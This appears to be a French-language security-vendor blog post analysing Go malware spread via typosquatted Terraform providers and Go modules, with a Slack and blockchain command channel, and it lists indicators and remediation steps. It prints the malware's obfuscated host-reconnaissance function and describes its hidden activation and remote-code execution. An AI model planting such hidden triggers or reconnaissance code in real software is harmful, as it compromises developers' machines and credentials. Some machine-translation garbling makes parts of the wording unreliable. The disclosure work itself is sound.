Nous avons identifié un logiciel malveillant écrit en Go diffusé via au moins deux fournisseurs Terraform et au moins deux modules Go. C'est la première fois que nous observons un logiciel malveillant diffusé via des fournisseurs Terraform. Les paquets suivants contiennent ce logiciel malveillant :
- Fournisseurs Terraform :
gocommunity-io/dockerdkreuzwenker/docker
- Modules Go :
gocommunity.io/orderedbtreegogets.dev/btreex
Ce logiciel malveillant présente des similitudes avec la campagne de logiciels malveillants Graphalgo NPM, signalée pour la première fois par ReversingLabs en février 2026, puis également mentionnée la semaine dernière par Safedep, CheckMarxet JFrog. Ce logiciel malveillant est une adaptation en Go du logiciel malveillant Graphalgo ; il partage l’infrastructure blockchain et Slack ainsi qu’une clé publique avec des échantillons JavaScript récents distribués via NPM. L’auteur de la menace a également créé au moins deux faux écosystèmes Go afin de promouvoir ses paquets, ce qui suggère un intérêt continu pour l’écosystème Go.
Fournisseurs Terraform malveillants
Début septembre, un acteur malveillant a publié les fournisseurs Terraform gocommunity-io/dockerd et kreuzwenker/docker. Ce dernier est un « typosquat » du célèbre kreuzwerker/docker Le fournisseur Terraform, qui compte 56 millions de téléchargements déclarés. Ces deux fournisseurs contiennent des points d'entrée cachés dans le /internal/provider/resource_docker_container_funcs.go fichier qui ne s'active que lorsque le hachage SHA256 du nom_du_conteneur et networkID Les variables Terraform concaténées donnent : b9966e3762e9a0d5d263b8cb3cca07294f81af9714d40ddf4628cb85d74e8ad5. Cela signifie que le fournisseur malveillant reste inactif sauf dans certaines conditions d'exécution spécifiques, ce qui laisse penser que le logiciel malveillant est diffusé dans le cadre d'une attaque ciblée.
Le hachage SHA256 sert de clé AES pour déchiffrer le chemin d'accès à un fichier à l'intérieur du paquet. Le logiciel malveillant décompresse le contenu de l'archive, l'AES déchiffre chaque fichier qu'elle contient, puis exécute le code déchiffré sous la forme d'un paquet Go à l'aide d'un processus détaché Va courir. commande. Le fichier ZIP de destination pour les deux fournisseurs est exemples/ressources/conteneur_Docker/import-resource.sqlite3 avec un hachage SHA256 5f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f.
RAT de deuxième étape
Le RAT de deuxième phase est un agent Go doté de deux canaux de commande et de contrôle, utilisant des « dead drops » basés sur la blockchain et un jeton de bot Slack. Le logiciel malveillant recueille dans un premier temps des informations sur le système, notamment les caractéristiques matérielles, le système d'exploitation, le nom d'hôte, et indique si node est disponible sur le système infecté. Le logiciel malveillant transmet ces informations à un canal Slack appelé « frontend-devs » dans l'espace de travail Slack hxxps[:]//portfolio-devs.slack[.]com/ (Portfolio Devs). Notez que le logiciel malveillant communique avec api.slack.com et le sous-domaine de l'espace de travail n'est pas directement sollicité par le logiciel malveillant.
func _ddb43801486d() error {
_ac1ff2594eef := helper.Keys()
_f20c82d34751, _f2b064c41863 := exec.LookPath("node")
if _f2b064c41863 != nil {
_f20c82d34751 = ""
}
_352b068ec729 := fmt.Sprintf(
"*🖥️ System Report*\n"+
"- Platform : `%s`\n"+
"- Arch : `%s`\n"+
"- Hostname : `%s`\n"+
"- Username : `%s`\n"+
"- Home Dir : `%s`\n"+
"- Node : `%s`\n"+
"- Time : `%s`\n",
_ac1ff2594eef.OS,
_ac1ff2594eef.Architecture,
_ac1ff2594eef.Hostname,
_ac1ff2594eef.User.Username,
_ac1ff2594eef.User.HomeDir,
_f20c82d34751,
_ac1ff2594eef.Time.Current,
)
if _0a93526f257a := helper.NewWith(_352b068ec729); _0a93526f257a != nil {
}
return nil
}À la suite de l'appel de vérification, le logiciel malveillant génère une paire de clés publique-privée éphémère. Il génère ensuite des clés partagées en combinant sa clé éphémère avec deux clés publiques appartenant à des acteurs malveillants. La clé partagée permet au logiciel malveillant de communiquer avec les clients infectés via des canaux partagés, sans exposer les communications C2 ni divulguer de messages entre les hôtes infectés. Pour les communications C2 sur Slack, le logiciel malveillant utilise la clé publique codée en dur 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702. Le logiciel malveillant enregistre la clé publique de chaque client dans le canal « frontend-devs », après quoi toutes les communications sont chiffrées à l'aide de la clé partagée. Les communications suivantes sont envoyées vers un autre espace de travail Slack, hxxps[:]//portfolio-testers.slack[.]com/ (Portfolio-testers), dans un canal nommé annonces-qa.
Dans le cas du C2 basé sur la blockchain, le logiciel malveillant récupère des données à partir d'un contrat intelligent Ethereum sur le réseau de test Arbitrum Sepolia en utilisant l'adresse du contrat codée en dur. 0xAD02b5cDE693529d3bdA0266299501ad0193036C, puis :
- Récupère la clé privée d'un portefeuille Ethereum partagé.
- Décrypte la clé privée à l'aide d'une clé dérivée du même matériau que celui utilisé pour décrypter la deuxième étape.
- Récupère la clé publique de l'acteur malveillant à partir du contrat.
- Crée une clé partagée à partir de la clé publique et de la clé privée éphémère.
- Enregistre sa clé privée éphémère dans le contrat à l'aide de la fonction
setCPubKeyméthode. - Lit les commandes chiffrées à partir de
serviceData1etserviceData2.
Le portefeuille partagé ne dispose que de droits d'écriture sur le setCPubKey un système de stockage clé-valeur, limitant ainsi les possibilités pour des clients malveillants de perturber le canal C2 à l'aide de faux messages.

Le logiciel malveillant interroge la blockchain toutes les 3 secondes et Slack toutes les 10 secondes pour obtenir des instructions. Les messages C2 déchiffrés contiennent un en-tête qui ordonne au logiciel malveillant d'exécuter le corps du message sous forme de code Go ou JavaScript supplémentaire (via node) ou de se supprimer automatiquement.
Le mécanisme C2 constitue une indication supplémentaire que ce logiciel malveillant s'inscrit dans le cadre d'une opération ciblée. La capacité de l’acteur malveillant à émettre des commandes est limitée, car tous les clients traitent l’ensemble des messages et exécutent une opération neutre (no-op) lorsqu’ils ne parviennent pas à déchiffrer des messages destinés à d’autres clients. Il s’agit d’une implémentation particulièrement sophistiquée d’une « dead drop » sur blockchain, qui intègre une communication bidirectionnelle avec un risque minimal de fuite d’informations ou de perturbation. Compte tenu de la popularité croissante des « dead drops » sur blockchain dans les logiciels malveillants, les organisations qui n’ont pas besoin, dans le cadre de leur activité, d’interagir avec des blockchains devraient envisager de mettre en place des alertes concernant les communications réseau avec des services blockchain basés sur le protocole HTTP.
Variantes du module Go
Nous avons également identifié ce même logiciel malveillant Go diffusé via deux modules Go. Le module gocommunity.io/orderedbtree, publié pour la première fois le 11 août, contenait le logiciel malveillant en clair, au lieu de le dissimuler sous une forme chiffrée et compressée. Ce dernier fichier, gogets.dev/btreex, a dissimulé le logiciel malveillant dans une archive ZIP se faisant passer pour un fichier SQL avec un hachage SHA256 ab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5. Ce dernier paquet nécessitait une entrée spécialement conçue pour s'activer, conformément aux fournisseurs Terraform : le logiciel malveillant ne s'activait que lors du traitement d'un objet dont la valeur entière « price » correspondait à un montant spécifique.
gogets.dev/btreex a été publié pour la première fois le 8 septembre. L'auteur de la menace a utilisé des commits falsifiés dans le dépôt gogets-dev/btreex afin d'antidater ces commits au mois de novembre 2025. Les Go Modules considérant les dates de commit comme faisant autorité, le proxy Go Module et le site pkg.go.dev affichent la date de publication falsifiée.
Calendrier de la campagne
La clé publique 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702 utilisée dans ce logiciel malveillant a également été employée dans diverses charges utiles NPM depuis au moins avril 2026 ; elle est apparue pour la première fois dans le paquet NPM malveillant événements contemporains. Les adresses courantes des contrats intelligents, les adresses Telegram et les espaces de travail Slack renvoient vers Article de blog d'avril de ReversingLabs sur la campagne Graphalgo.
Au moment de notre analyse, le annonces-qa Le canal Slack contenait 1 240 messages cryptés depuis le premier message disponible, daté du 16 juillet, et le contrat comportait 1 402 transactions remontant jusqu'au 6 août.

Les messages de « check-in » en texte clair présents sur le canal Slack de l’acteur malveillant contiennent 18 noms d’hôtes distincts répartis sur 725 messages. Parmi les victimes recensées, trois utilisent des appareils Windows, cinq des appareils Linux et dix des appareils macOS. Nous ne disposons pas d’informations suffisantes pour alerter les victimes sur la base de ces données de « check-in » en texte clair, mais l’ampleur des opérations menées par l’acteur malveillant semble restreinte et ciblée. D’après les premiers messages de la discussion, l’acteur malveillant a testé cette variante du logiciel malveillant sur un appareil Windows portant le nom d’hôte « Frank » et le nom d’utilisateur « Frank1 », à partir du 16 juillet 2026.
Le changement d'orientation de GitHub et les faux écosystèmes Go
Les comptes et organisations GitHub suivants ont été utilisés dans le cadre de cette activité. Nous notons que l'acteur malveillant procède régulièrement à un nettoyage de ses logiciels malveillants sur GitHub, probablement afin de prolonger la durée de vie de ses comptes GitHub.
Les deux organisations GitHub contrôlées par ces acteurs malveillants disposent de sites web associés qui se présentent comme de nouveaux écosystèmes de paquets Go, gogets[.]dev et gocommunity[.]io. Ces deux domaines ont été enregistrés dans la journée qui a suivi la création des organisations GitHub contrôlées par l'acteur malveillant. Ils prétendent tous deux proposer un système de nommage personnalisé pour les paquets Go, mais ne fournissent aucun mécanisme permettant aux utilisateurs externes d'ajouter des paquets et semblent ne pas fonctionner. Ces domaines sont probablement utilisés par l'acteur malveillant dans le cadre d'opérations d'ingénierie sociale afin de renforcer la légitimité apparente des paquets malveillants.


La mise en place d'une infrastructure dédiée à l'ingénierie sociale visant les développeurs Go laisse supposer que l'acteur malveillant a l'intention de continuer à diffuser des logiciels malveillants ciblant la chaîne d'approvisionnement Go. Le ciblage des fournisseurs Terraform est également remarquable : si les postes de travail des développeurs constituent systématiquement des cibles de grande valeur pour les acteurs malveillants, les utilisateurs de Terraform sont quant à eux plus susceptibles d’être impliqués dans le déploiement d’infrastructures. En ciblant les postes de travail DevOps, l’acteur malveillant pourrait obtenir un accès encore plus direct aux identifiants de production critiques. Bien que nous ayons connaissance d’autres recherches récentes sur des fournisseurs Terraform malveillants, cet incident est, à notre connaissance, le premier cas de distribution systématique de logiciels malveillants via Terraform.
Indicateurs de compromission
Paquets (toutes versions) :
- Fournisseurs Terraform :
gocommunity-io/dockerdkreuzwenker/docker
- Modules Go :
gocommunity.io/orderedbtreegogets.dev/btreex
Fichiers :
import-resource.sqlite35f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f
btreex.sqlab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5
Domaines :
gocommunity[.]iogogets[.]dev
Autres :
- Clé publique de l'acteur malveillant :
302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702- Espaces de travail Slack :
hxxps[:]//portfolio-devs.slack[.]comhxxps[:]//portfolio-testers.slack[.]comhxxps[:]//mediumstar.slack[.]com (indicateur historique non signalé)
Comment « Aikido » vous protège
Les deux modules Go malveillants identifiés dans le cadre de cette campagne, gocommunity.io/orderedbtree et gogets.dev/btreex, sont déjà signalés comme logiciels malveillants dans « Aikido Intel ». Si l'un de ces paquets apparaît quelque part dans votre arborescence de dépendances, vous en serez immédiatement averti.
Nous n'avons pas encore mis en place de système de surveillance pour le registre Terraform. Les deux fournisseurs Terraform malveillants impliqués dans cette campagne, gocommunity-io/dockerd et kreuzwenker/docker ne figurera pas dans le tableau de bord d'Aikido . Nous étendrons prochainement notre prise en charge aux fournisseurs Terraform.
Si l'un des paquets ou fournisseurs mentionnés ci-dessus a été installé sur une machine de développement ou un serveur CI/CD, considérez que l'ensemble de cet environnement est compromis et partez du principe que la machine elle-même est affectée bien au-delà de ce simple paquet.
- Isolez la machine du réseau. Compte tenu des canaux C2 du logiciel malveillant (appels à l'API Slack et contrat intelligent Ethereum), un hôte infecté peut rester accessible à l'acteur malveillant même après la suppression du logiciel malveillant.
- Renouvelez tous les identifiants ayant été utilisés sur cette machine. Ne vous limitez pas aux jetons du module Go. Renouvelez les jetons GitHub/GitLab, les jetons de publication npm/PyPI/Go, les identifiants des fournisseurs d'cloud s et les clés SSH. Si le paquet concerné était exécuté via un fournisseur Terraform, donnez la priorité aux identifiants d'cloud et d'infrastructure, car le vecteur d'attaque Terraform utilisé dans cette campagne cible spécifiquement les postes de travail DevOps disposant d'un accès direct à l'environnement de production.
- Vérifiez s'il y a eu des activités non autorisées pendant la période d'exposition. Passez en revue les commits récents, les publications de paquets, les applications Terraform et les exécutions de GitHub Actions effectuées à partir de cette machine ou à l'aide de ses identifiants. Partez du principe que le pirate a pu agir en utilisant des identifiants valides et fonctionnels.
- Supprimez le paquet et réinstallez le système d'exploitation sur la machine. En effet, le logiciel malveillant exécute une deuxième phase décryptée via un fichier détaché
Va courir., la simple suppression du paquet ne garantit pas que tous les éléments qu’il a lancés aient disparu. La réinstallation de l’image est le seul moyen d’être certain que l’hôte est propre.
Si vous ne savez pas si un paquet présent dans votre environnement correspond à ces indicateurs, vous trouverez la liste complète des hachages, des domaines et de la clé publique de l'acteur malveillant dans la section « Indicateurs de compromission » ci-dessus.

